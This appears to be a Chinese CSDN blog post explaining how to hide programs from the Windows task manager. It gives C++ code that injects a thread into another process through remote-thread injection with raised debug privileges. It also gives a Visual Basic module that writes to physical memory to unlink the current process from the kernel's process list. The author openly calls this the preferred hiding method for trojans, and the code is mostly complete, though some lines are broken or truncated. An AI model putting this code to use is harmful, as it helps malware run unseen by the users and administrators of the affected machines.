WinNT & Win2K下实现进程的完全隐藏

        在WinNT下"真正隐藏进程"这一说法,可以讲是根本不可能实现,只要我们的程序是以进程内核的形式运行,都是不可能逃离CTRL+ALT+DEL的法眼。那么奇怪了,这岂不是与我们的标题《WinNT &  Win2K下实现进程的完全隐藏》相矛盾吗?是的,实际上应该是:以非进程方式执行目标代码,而逃避进程查看器的检查,从而达到"进程隐藏"的目的。
         我们这里用的,是在宿主进程中,以线程的方式执行我们的代码。实现起来非常简单。首先,我们先建立一个不执行任何语句的线程
                  DWORD stdcall ThreadProc(LPVOID *lpVoid){
                      return 0;
                  }
        然后,将线程代码拷备至宿主进程所能够执行的任何地方(即页面属性为PAGGE_EXECUTE_READWRITE),如:共享内存影射区、宿主进程内。这里我们选择宿主进程,拷备的时侯,我们需要先在宿主进程中使用VirtualAllocEx函数申请一段内存,然后再使用WriteProcessMemory将线程体写入宿主进程中。
       以上工作完成后,我们便可CreateRemoteThread函数激活其执行。下面给出一个完整的例子
      // 远程线程执行体
                  DWORD __stdcall ThreadProc ( void   * lpPara) {
                    
return 0;
                  }

                  
int  main( int  argc,  char *  argv[]) {
                    
const DWORD THREADSIZE=1024*4;//暂定线程体大小为4K,实际上没这么大,稍后我将会介绍
                    DWORD byte_write;
                    
      
//获得指定进程ID句柄,并设其权限为PROCESS_ALL_ACCESS,992是宿进程的ID号,获取ID号的方法这里我就不多讲了
                    HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992);
                    
if(!hWnd)return 0;
                    
void *pRemoteThread 
                  
=::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT| 
                  MEM_RESERVE,PAGE_EXECUTE_READWRITE);
//申请
                    if(!pRemoteThread)return 0;
                    
                  
if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))//写入进程
                       return 0;
       
//启动线程
                    HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD 
                  (__stdcall 
*)(void *))pRemoteThread ,NULL,0,&byte_write);
                    
if(!hThread)//还有内存分配未释放
                      return 0;
                    }

                    
return 0;
                  }

 

         到这里,对于隐藏的方法就算告一段落,相信看过的朋友对这个思路有个非常明确的概念了吧。

        在理解隐藏的方法后,我们着重开始写线程的执行部分了。如下:
                  DWORD __stdcall ThreadProc(void *lpPara){
                    MessageBox(NULL,"hello","hello",0);
                    return 0;
                  }
         编译执行后,你会发现出现一个非法操作错误,为什么呢?在我们以段页式内存管理的win2K操作系统中,编译时会把所有的常量编译在PE文件的.data节中,而代码段则在.text中,所以,我们拷备到宿主进程中的代码是在.text中的代码,MessageBox(NULL,(char *)指针,p,0);所指向的地址是本进程的内存虚拟地址。而在宿主进程中是无法访问的。解决的方法很简单,按旧照搬的将"hello"也拷备到目标进程中,然后再引用。同理,MessageBox函数地址编译时,也是保存在.Import中,写过Win2k病毒的朋友都知道,所有常量与函数入口地址都需在代码段定义与得出,我们这里也与他有点类似。言归正传,同样情况我们也把函数的入口地址一起写入目标进程中。

                   // 先定义参数结构
                  typedef  struct  _RemotePara {//参数结构
                    char pMessageBox[12];
                    DWORD dwMessageBox;
                  }
RemotePara;
                  
// 付值
                  RemotePara myRemotePara;
                  ::ZeroMemory(
& myRemotePara, sizeof (RemotePara));
                  HINSTANCE hUser32 
=  ::LoadLibrary ( " user32.dll " );
                  myRemotePara.dwMessageBox 
= (DWORD) ::GetProcAddress (hUser32 , 
                  
" MessageBoxA " );
                  strcat(myRemotePara.pMessageBox,
" hello
          好了,就这么简单,下在给出一个弹出一个MessageBox的实例:
                   //  RemoteThread.cpp : Defines the entry point for the console 
                  application.
                  
//

                  #include 
" stdafx.h "

                  typedef 
struct  _RemotePara {//参数结构
                     char pMessageBox[12];
                     DWORD dwMessageBox;
                  }
RemotePara;
                  
// 远程线程
                  DWORD __stdcall ThreadProc (RemotePara  * lpPara) {
                     typedef 
int (__stdcall 
                  
*MMessageBoxA)(HWND,LPCTSTR,LPCTSTR,DWORD);//定义MessageBox函数
                     MMessageBoxA myMessageBoxA;
                     myMessageBoxA 
=(MMessageBoxA) lpPara->dwMessageBox 
                  ;
//得到函数入口地址
                     myMessageBoxA(NULL,lpPara->pMessageBox 
                  ,lpPara
->pMessageBox,0);//call
                     return 0;
                  }

                  
void  EnableDebugPriv(); // 提升应用级调试权限

                  
int  main( int  argc,  char *  argv[]) {
                     
const DWORD THREADSIZE=1024*4;
                     DWORD byte_write;
                     EnableDebugPriv();
//提升权限
                     HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992);
                     
if(!hWnd)return 0;
                     
void *pRemoteThread 
                  
=::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT| 
                  MEM_RESERVE,PAGE_EXECUTE_READWRITE);
                     
if(!pRemoteThread)return 0;
                     
                  
if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))
                     
return 0;

                     
//再付值
                     RemotePara myRemotePara;
                     ::ZeroMemory(
&myRemotePara,sizeof(RemotePara));
                     HINSTANCE hUser32 
= ::LoadLibrary ("user32.dll");
                     myRemotePara.dwMessageBox 
=(DWORD) ::GetProcAddress 
                  (hUser32 , 
"MessageBoxA");
                     strcat(myRemotePara.pMessageBox,
"hello

         好了,程序编译执行后会在进程号为992的进程中创建一线程,弹出hello对话框。是不是非常简单呢!
         这里有几个地方需要注意的:
        1、远程线程在宿主进程中申请空间时,空间大小的确定了是我一直无法解决的问题。我曾使用两个贴近一起的线程,以线程间的距离大小,并加上参数大小,作为申请空间时,仍然会出现非法操作,如下:
                  static void StartThread (LPVOID *lpPara){
                     return ;
                  }
                  static void EndThread(LPVOID *lpPara){
                    return;
                  }
        然后使用DWORD dwLenght = (DWORD)((char *)&StartThread - (char
                  *)&EndThread);//得到StartThread线程代码长度,
                  dwLenght += sizeof(ThreadPara);
        仍会出现非法操作让我很迷惑。在win2k中,线程的默认堆栈的页大小是4KB,这里我在为线程申请内存时,申请的大小暂时使用一个常数,始终为4KB的倍数,选取时尽量取大,在线程可成功运行后,再一点点改小。办法是笨了点,如这里的朋友有更好的方法,请不吝赐教。
        2、什么时侯,什么参数是需要从外部传递进来的呢?我这里并没有一个十分有力的答案,我的理解是:PE文件中除了.text节以外的所有节,均需使用外部参数传递到线程中使用,如:.rsrc、.data、rdata等其他的15个节。在我们实际编写的过程中,初学者并不知道我们的代码会编译在什么地方,这个时侯,我们可以在运行的时侯ALT  + 8(VC中快捷键)反编译过来,一般有lea eax p、push offset p等取地址语句,这个时侯,我们大都需要以参数传递进来。所以,大家在编写的时侯,一定要注意参数,因为线程的执行是在别的进程中,一个普通权限的应用程序是无法跨越进程来调试其他进程的。包括VC,也无法调试我们的远程线程,熟悉汇编的朋友,可用softice调试,这需要一定的功底。
         3、权限,这一点很重要,shotgun在这方面也介绍得很清楚了,网上相关的文章也很多,我就不多说了。文中的EnableDebugPriv函数可使本进程在internet、winLogin、lsass等进程中创建线程。win2k的进程查看器无法将其杀除。
         4、进程ID获方法较多,如:EnumProcesses、NtQuerySystemInformation、CreateToolhelp32Snapshot/Process32First/Process32Next等函数均可,为减少代码,例子中的进程ID是直接在进程查看器中得到的。
         最后,我们再回到shotgun的文章中,这时侯我们因已经非常清楚他的方法中为何会多出一个DLL文件了。远程线程的线程体本身就是LoadLibrary函数,即,线程的入口地址就是LoadLibrary的入口地址,这是系统Kernel32.dll中的函数,任何进程都可调用。线程中使用LoadLibrary函数将我们的DLL加载到系统空间内,线程一执行,我们的DLL就开始工作了。线程执行结束后,别忘了使用VirtualFreeEx将其申请的内存区释放。
          两种方法一比较,很明显:
          1、在使用DLL时,创建十分简单,也不需要太多的操作系统与内存操作知识,并可直接调试DLL文件。实现起来比较简单。
         2、直接拷备到进程中的方法稍为复杂一点,一不小心,很容易出现非法操作。当然,也去掉那了个让人讨厌DLL文件。程序执行后,很难找到他的来源地,是除了病毒以外的木马隐藏的首选方法。
         这里我大量参考了nongmin.cn(农民)程序的源码,他的程序对我的帮助非常大。虽然未有谋面,但对他的计算机水平与作为十分的敬佩,并尊从他的作风,以后我所写的所有非商业软件或小代码,均以源码形式出现。这里写得有点乱,希望对大家能够有所帮助,愿与所有爱好计算机,从事计算机工作的朋友们共勉。

 

        用VB编程隐藏进程(注意:必须是关闭了数据保护的计算机;在“我的电脑”--属性--高级--设置--数据保护里将要隐藏的程序加入。)

       添加一模块,加入以下代码:

' -------------------------------------------------------------------------------------
'
模块名称:modHideProcess.bas
'
'
模块功能:在 XP/2K 任务管理器的进程列表中隐藏当前进程
'
'
使用方法:直接调用 HideCurrentProcess()
'
'
模块作者:检索自互联网,原作者不详。
'
'
修改日期:2006/08/26
'
---------------------------------------------------------------------------------------

Option   Explicit

Private   Const  STATUS_INFO_LENGTH_MISMATCH  =   & HC0000004
Private   Const  STATUS_ACCESS_DENIED  =   & HC0000022
Private   Const  STATUS_INVALID_HandLE  =   & HC0000008
Private   Const  ERROR_SUCCESS  =   0 &
Private   Const  SECTION_MAP_WRITE  =   & H2
Private   Const  SECTION_MAP_READ  =   & H4
Private   Const  READ_CONTROL  =   & H20000
Private   Const  WRITE_DAC  =   & H40000
Private   Const  NO_INHERITANCE  =   0
Private   Const  DACL_SECURITY_INFORMATION  =   & H4

Private  Type IO_STATUS_BLOCK
    Status 
As   Long
    Information 
As   Long
End  Type

Private  Type UNICODE_STRING
    Length 
As   Integer
    MaximumLength 
As   Integer
    Buffer 
As   Long
End  Type

Private   Const  OBJ_INHERIT  =   & H2
Private   Const  OBJ_PERMANENT  =   & H10
Private   Const  OBJ_EXCLUSIVE  =   & H20
Private   Const  OBJ_CASE_INSENSITIVE  =   & H40
Private   Const  OBJ_OPENIF  =   & H80
Private   Const  OBJ_OPENLINK  =   & H100
Private   Const  OBJ_KERNEL_HandLE  =   & H200
Private   Const  OBJ_VALID_ATTRIBUTES  =   & H3F2

Private  Type OBJECT_ATTRIBUTES
    Length 
As   Long
    RootDirectory 
As   Long
    ObjectName 
As   Long
    Attributes 
As   Long
    SecurityDeor 
As   Long
    SecurityQualityOfService 
As   Long
End  Type

Private  Type ACL
    AclRevision 
As   Byte
    Sbz1 
As   Byte
    AclSize 
As   Integer
    AceCount 
As   Integer
    Sbz2 
As   Integer
End  Type

Private  Enum ACCESS_MODE
    NOT_USED_ACCESS
    GRANT_ACCESS
    SET_ACCESS
    DENY_ACCESS
    REVOKE_ACCESS
    SET_AUDIT_SUCCESS
    SET_AUDIT_FAILURE
End  Enum

Private  Enum MULTIPLE_TRUSTEE_OPERATION
    NO_MULTIPLE_TRUSTEE
    TRUSTEE_IS_IMPERSONATE
End  Enum

Private  Enum TRUSTEE_FORM
    TRUSTEE_IS_SID
    TRUSTEE_IS_NAME
End  Enum

Private  Enum TRUSTEE_TYPE
    TRUSTEE_IS_UNKNOWN
    TRUSTEE_IS_USER
    TRUSTEE_IS_GROUP
End  Enum

Private  Type TRUSTEE
    pMultipleTrustee 
As   Long
    MultipleTrusteeOperation 
As  MULTIPLE_TRUSTEE_OPERATION
    TrusteeForm 
As  TRUSTEE_FORM
    TrusteeType 
As  TRUSTEE_TYPE
    ptstrName 
As   String
End  Type

Private  Type EXPLICIT_ACCESS
    grfAccessPermissions 
As   Long
    grfAccessMode 
As  ACCESS_MODE
    grfInheritance 
As   Long
    TRUSTEE 
As  TRUSTEE
End  Type

Private  Type AceArray
    List() 
As  EXPLICIT_ACCESS
End  Type

Private  Enum SE_OBJECT_TYPE
    SE_UNKNOWN_OBJECT_TYPE 
=   0
    SE_FILE_OBJECT
    SE_SERVICE
    SE_PRINTER
    SE_REGISTRY_KEY
    SE_LMSHARE
    SE_KERNEL_OBJECT
    SE_WINDOW_OBJECT
    SE_DS_OBJECT
    SE_DS_OBJECT_ALL
    SE_PROVIDER_DEFINED_OBJECT
    SE_WMIGUID_OBJECT
End  Enum

Private  Declare  Function  SetSecurityInfo Lib  " advapi32.dll "  (ByVal Handle  As   Long , ByVal ObjectType  As  SE_OBJECT_TYPE, ByVal SecurityInfo  As   Long , ppsidOwner  As   Long , ppsidGroup  As   Long , ppDacl  As  Any, ppSacl  As  Any)  As   Long
Private  Declare  Function  GetSecurityInfo Lib  " advapi32.dll "  (ByVal Handle  As   Long , ByVal ObjectType  As  SE_OBJECT_TYPE, ByVal SecurityInfo  As   Long , ppsidOwner  As   Long , ppsidGroup  As   Long , ppDacl  As  Any, ppSacl  As  Any, ppSecurityDeor  As   Long As   Long
Private  Declare  Function  SetEntriesInAcl Lib  " advapi32.dll "  Alias  " SetEntriesInAclA "  (ByVal cCountOfExplicitEntries  As   Long , pListOfExplicitEntries  As  EXPLICIT_ACCESS, ByVal OldAcl  As   Long , NewAcl  As   Long As   Long
Private  Declare  Sub  BuildExplicitAccessWithName Lib  " advapi32.dll "  Alias  " BuildExplicitAccessWithNameA "  (pExplicitAccess  As  EXPLICIT_ACCESS, ByVal pTrusteeName  As   String , ByVal AccessPermissions  As   Long , ByVal AccessMode  As  ACCESS_MODE, ByVal Inheritance  As   Long )
Private  Declare  Sub  RtlInitUnicodeString Lib  " NTDLL.DLL "  (DestinationString  As  UNICODE_STRING, ByVal SourceString  As   Long )
Private  Declare  Function  ZwOpenSection Lib  " NTDLL.DLL "  (SectionHandle  As   Long , ByVal DesiredAccess  As   Long , ObjectAttributes  As  Any)  As   Long
Private  Declare  Function  LocalFree Lib  " kernel32 "  (ByVal hMem  As  Any)  As   Long
Private  Declare  Function  CloseHandle Lib  " kernel32 "  (ByVal hObject  As   Long As   Long
Private  Declare  Function  MapViewOfFile Lib  " kernel32 "  (ByVal hFileMappingObject  As   Long , ByVal dwDesiredAccess  As   Long , ByVal dwFileOffsetHigh  As   Long , ByVal dwFileOffsetLow  As   Long , ByVal dwNumberOfBytesToMap  As   Long As   Long
Private  Declare  Function  UnmapViewOfFile Lib  " kernel32 "  (lpBaseAddress  As  Any)  As   Long
Private  Declare  Sub  CopyMemory Lib  " kernel32 "  Alias  " RtlMoveMemory "  (Destination  As  Any, Source  As  Any, ByVal Length  As   Long )
Private  Declare  Function  GetVersionEx Lib  " kernel32 "  Alias  " GetVersionExA "  (LpVersionInformation  As  OSVERSIONINFO)  As   Long

Private  Type OSVERSIONINFO
    dwOSVersionInfoSize 
As   Long
    dwMajorVersion 
As   Long
    dwMinorVersion 
As   Long
    dwBuildNumber 
As   Long
    dwPlatformId 
As   Long
    szCSDVersion 
As   String   *   128
End  Type

Private  verinfo  As  OSVERSIONINFO

Private  g_hNtDLL  As   Long
Private  g_pMapPhysicalMemory  As   Long
Private  g_hMPM  As   Long
Private  aByte( 3 As   Byte

Public   Sub  HideCurrentProcess()
    
' 在进程列表中隐藏当前应用程序进程
    
    
Dim  thread  As   Long , process  As   Long , fw  As   Long , bw  As   Long
    
Dim  lOffsetFlink  As   Long , lOffsetBlink  As   Long , lOffsetPID  As   Long
    
    verinfo.dwOSVersionInfoSize 
=   Len (verinfo)
    
If  (GetVersionEx(verinfo))  <>   0   Then
        
If  verinfo.dwPlatformId  =   2   Then
            
If  verinfo.dwMajorVersion  =   5   Then
                
Select   Case  verinfo.dwMinorVersion
                    
Case   0
                        lOffsetFlink 
=   & HA0
                        lOffsetBlink 
=   & HA4
                        lOffsetPID 
=   & H9C
                    
Case   1
                        lOffsetFlink 
=   & H88
                        lOffsetBlink 
=   & H8C
                        lOffsetPID 
=   & H84
                
End   Select
            
End   If
        
End   If
    
End   If
    
    
If  OpenPhysicalMemory  <>   0   Then
        thread 
=  GetData( & HFFDFF124)
        process 
=  GetData(thread  +   & H44)
        fw 
=  GetData(process  +  lOffsetFlink)
        bw 
=  GetData(process  +  lOffsetBlink)
        SetData fw 
+   4 , bw
        SetData bw, fw
        CloseHandle g_hMPM
    
End   If
End Sub

Private   Sub  SetPhyscialMemorySectionCanBeWrited(ByVal hSection  As   Long )
    
Dim  pDacl  As   Long
    
Dim  pNewDacl  As   Long
    
Dim  pSD  As   Long
    
Dim  dwRes  As   Long
    
Dim  ea  As  EXPLICIT_ACCESS
    
    GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 
0 0 , pDacl,  0 , pSD
    
    ea.grfAccessPermissions 
=  SECTION_MAP_WRITE
    ea.grfAccessMode 
=  GRANT_ACCESS
    ea.grfInheritance 
=  NO_INHERITANCE
    ea.TRUSTEE.TrusteeForm 
=  TRUSTEE_IS_NAME
    ea.TRUSTEE.TrusteeType 
=  TRUSTEE_IS_USER
    ea.TRUSTEE.ptstrName 
=   " CURRENT_USER "   &  vbNullChar
    
    SetEntriesInAcl 
1 , ea, pDacl, pNewDacl
    
    SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 
0 0 , ByVal pNewDacl,  0
    
CleanUp:
    LocalFree pSD
    LocalFree pNewDacl
End Sub

Private   Function  OpenPhysicalMemory()  As   Long
    
Dim  Status  As   Long
    
Dim  PhysmemString  As  UNICODE_STRING
    
Dim  Attributes  As  OBJECT_ATTRIBUTES
    
    RtlInitUnicodeString PhysmemString, StrPtr(
" DevicePhysicalMemory " )
    Attributes.Length 
=   Len (Attributes)
    Attributes.RootDirectory 
=   0
    Attributes.ObjectName 
=  VarPtr(PhysmemString)
    Attributes.Attributes 
=   0
    Attributes.SecurityDeor 
=   0
    Attributes.SecurityQualityOfService 
=   0
    
    Status 
=  ZwOpenSection(g_hMPM, SECTION_MAP_READ  Or  SECTION_MAP_WRITE, Attributes)
    
If  Status  =  STATUS_ACCESS_DENIED  Then
        Status 
=  ZwOpenSection(g_hMPM, READ_CONTROL  Or  WRITE_DAC, Attributes)
        SetPhyscialMemorySectionCanBeWrited g_hMPM
        CloseHandle g_hMPM
        Status 
=  ZwOpenSection(g_hMPM, SECTION_MAP_READ  Or  SECTION_MAP_WRITE, Attributes)
    
End   If
    
    
Dim  lDirectoty  As   Long
    verinfo.dwOSVersionInfoSize 
=   Len (verinfo)
    
If  (GetVersionEx(verinfo))  <>   0   Then
        
If  verinfo.dwPlatformId  =   2   Then
            
If  verinfo.dwMajorVersion  =   5   Then
                
Select   Case  verinfo.dwMinorVersion
                    
Case   0
                        lDirectoty 
=   & H30000
                    
Case   1
                        lDirectoty 
=   & H39000
                
End   Select
            
End   If
        
End   If
    
End   If
    
    
If  Status  =   0   Then
        g_pMapPhysicalMemory 
=  MapViewOfFile(g_hMPM,  4 0 , lDirectoty,  & H1000)
        
If  g_pMapPhysicalMemory  <>   0   Then  OpenPhysicalMemory  =  g_hMPM
    
End   If
End Function

Private   Function  LinearToPhys(BaseAddress  As   Long , addr  As   Long As   Long
    
Dim  VAddr  As   Long , PGDE  As   Long , PTE  As   Long , PAddr  As   Long
    
Dim  lTemp  As   Long
    
    VAddr 
=  addr
    CopyMemory aByte(
0 ), VAddr,  4
    lTemp 
=   Fix (ByteArrToLong(aByte)  /  ( 2   ^   22 ))
    
    PGDE 
=  BaseAddress  +  lTemp  *   4
    CopyMemory PGDE, ByVal PGDE, 
4
    
    
If  (PGDE  And   1 <>   0   Then
        lTemp 
=  PGDE  And   & H80
        
If  lTemp  <>   0   Then
            PAddr 
=  (PGDE  And   & HFFC00000)  +  (VAddr  And   & H3FFFFF)
        
Else
            PGDE 
=  MapViewOfFile(g_hMPM,  4 0 , PGDE  And   & HFFFFF000,  & H1000)
            lTemp 
=  (VAddr  And   & H3FF000)  /  ( 2   ^   12 )
            PTE 
=  PGDE  +  lTemp  *   4
            CopyMemory PTE, ByVal PTE, 
4
            
            
If  (PTE  And   1 <>   0   Then
                PAddr 
=  (PTE  And   & HFFFFF000)  +  (VAddr  And   & HFFF)
                UnmapViewOfFile PGDE
            
End   If
        
End   If
    
End   If
    
    LinearToPhys 
=  PAddr
End Function

Private   Function  GetData(addr  As   Long As   Long
    
Dim  phys  As   Long , tmp  As   Long , ret  As   Long
    
    phys 
=  LinearToPhys(g_pMapPhysicalMemory, addr)
    tmp 
=  MapViewOfFile(g_hMPM,  4 0 , phys  And   & HFFFFF000,  & H1000)
    
If  tmp  <>   0   Then
        ret 
=  tmp  +  ((phys  And   & HFFF)  /  ( 2   ^   2 ))  *   4
        CopyMemory ret, ByVal ret, 
4
        
        UnmapViewOfFile tmp
        GetData 
=  ret
    
End   If
End Function

Private   Function  SetData(ByVal addr  As   Long , ByVal data  As   Long As   Boolean
    
Dim  phys  As   Long , tmp  As   Long , x  As   Long
    
    phys 
=  LinearToPhys(g_pMapPhysicalMemory, addr)
    tmp 
=  MapViewOfFile(g_hMPM, SECTION_MAP_WRITE,  0 , phys  And   & HFFFFF000,  & H1000)
    
If  tmp  <>   0   Then
        x 
=  tmp  +  ((phys  And   & HFFF)  /  ( 2   ^   2 ))  *   4
        CopyMemory ByVal x, data, 
4
        
        UnmapViewOfFile tmp
        SetData 
=   True
    
End   If
End Function

Private   Function  ByteArrToLong(inByte()  As   Byte As   Double
    
Dim  I  As   Integer
    
    
For  I  =   0   To   3
        ByteArrToLong 
=  ByteArrToLong  +  inByte(I)  *  ( & H100  ^  I)
    
Next  I
End Function
©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页